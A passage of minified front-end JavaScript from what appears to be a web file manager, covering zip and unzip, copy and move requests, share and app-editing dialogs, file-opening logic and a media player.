style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},N=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},L=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},z=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},A=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:A,appAddURL:O,share:f,shareBox:u,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:L,zipDownload:w,zip:N,copy:p,cute:b,info:k,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),new PDFObject({url:n}).embed(o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(a=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(f){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,f(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),f(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),f(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index(); -o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},f=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),u(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},u=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),f=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},u=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:f,playSound:u}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if((void 0==t||""==t)&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},f=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},u=function(i,a,n){ui.fileLight.clear();var o=f(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var 